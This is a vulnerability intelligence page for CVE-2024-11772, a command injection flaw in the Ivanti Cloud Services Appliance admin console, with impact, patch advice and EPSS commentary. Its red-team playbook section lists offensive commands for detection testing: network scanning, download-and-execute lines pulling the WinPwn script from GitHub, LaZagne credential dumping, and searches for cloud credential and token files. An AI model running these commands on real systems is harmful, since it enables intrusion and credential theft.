CVE-2024-11772
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the admin web console of the Ivanti Cloud Services Application. Specifically, the application fails to sanitize user-supplied input in command execution contexts, allowing crafted input to be interpreted as system commands. The affected component is the administrative interface of Ivanti CSA versions prior to 5.0.3, where privileged commands are processed without adequate filtering.
Vulnerability Description
Command injection in the admin web console of Ivanti CSA before version 5.0.3 allows a remote authenticated attacker with admin privileges to achieve remote code execution.
Impact
An attacker with authenticated administrator access can execute arbitrary operating system commands remotely via the admin web console, enabling full system compromise including data exfiltration, service disruption, or lateral movement within the environment. The attack requires network access to the management interface and high privilege authentication (PR:H), with no user interaction needed (UI:N). The vulnerability's CVSS vector indicates critical confidentiality, integrity, and availability impacts (C:H/I:H/A:H) due to complete control over the affected system.
Solution
Ivanti recommends upgrading the Cloud Services Application to version 5.0.3 or later, as detailed in their security advisory at https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Services-Application-CSA-CVE-2024-11639-CVE-2024-11772-CVE-2024-11773. This update addresses the command injection vulnerability by implementing proper input validation and sanitization in the admin web console. No alternative workarounds are specified; applying the vendor-supplied patch is required for remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the admin web console of Ivanti Cloud Services Appliance prior to version 5.0.3 is characterized by a command injection flaw that allows an authenticated attacker with administrative privileges to execute arbitrary commands on the underlying system. This type of vulnerability arises when user-supplied input is improperly sanitized before being passed to a command interpreter. In this case, the web console fails to adequately validate input parameters, enabling attackers to craft malicious payloads that can manipulate the execution flow of the application. As a result, an attacker can gain unauthorized access to system resources, potentially leading to full remote code execution.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with valid administrative credentials can leverage the web console to input crafted commands directly into the system. For instance, by injecting shell commands into fields that are intended for benign administrative tasks, the attacker can execute arbitrary code. This could include commands to download and execute malicious payloads, modify system configurations, or exfiltrate sensitive data. The risk is exacerbated in environments where administrative access is not tightly controlled or monitored, as it allows attackers to operate with a high degree of privilege and discretion.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on Ivanti Cloud Services Appliance for critical operations. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and potential data breaches. The business risks associated with such incidents include financial losses, reputational damage, and regulatory penalties, especially if sensitive customer information is compromised. Furthermore, the ability to execute arbitrary commands can allow attackers to pivot to other systems within the network, thereby increasing the attack surface and complicating incident response efforts.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is crucial to ensure that all instances of Ivanti Cloud Services Appliance are updated to the latest version, which addresses this command injection flaw. Regular patch management practices should be established to minimize exposure to known vulnerabilities. Additionally, organizations should employ web application firewalls (WAFs) to monitor and filter incoming traffic to the web console, thereby blocking potentially malicious input. Implementing strict access controls and monitoring administrative activities can further reduce the risk of exploitation by limiting the number of users with administrative privileges and logging their actions for review.
In conclusion, the command injection vulnerability in the Ivanti Cloud Services Appliance presents a serious threat to organizations that utilize this software. The potential for remote code execution by authenticated attackers underscores the importance of maintaining robust security practices, including timely updates, access controls, and proactive monitoring. By adopting a comprehensive security posture, organizations can significantly mitigate the risks associated with this and similar vulnerabilities, safeguarding their systems and sensitive data from malicious actors.
CSURFACE threat intelligence has identified a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-11772, rising by approximately 14.5% to a current value near 0.098. While this upward adjustment does not reflect an immediate surge in active exploitation or new proof-of-concept exploits, it signals a growing likelihood that threat actors may prioritize this vulnerability in the near term. Our telemetry indicates that exploitation attempts remain stable without a marked escalation, suggesting that adversaries are maintaining interest but have not yet intensified operational activity. This subtle shift in EPSS underscores the need for defenders to remain vigilant, as the vulnerability’s potential for remote code execution in Ivanti Cloud Services Application continues to present a high-risk vector. Consequently, the overall threat level remains elevated, with the increased EPSS score serving as an early warning indicator of possible future exploitation trends.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Cloud Services Appliance | All |
cpe:2.3:a:ivanti:cloud_services_appliance:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-11772 |
| forums.ivanti.com |
GitHub CVE
|
https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Services-Application-CSA-CVE-2024-11639-CVE-2024-11772-CVE-2024-11773 |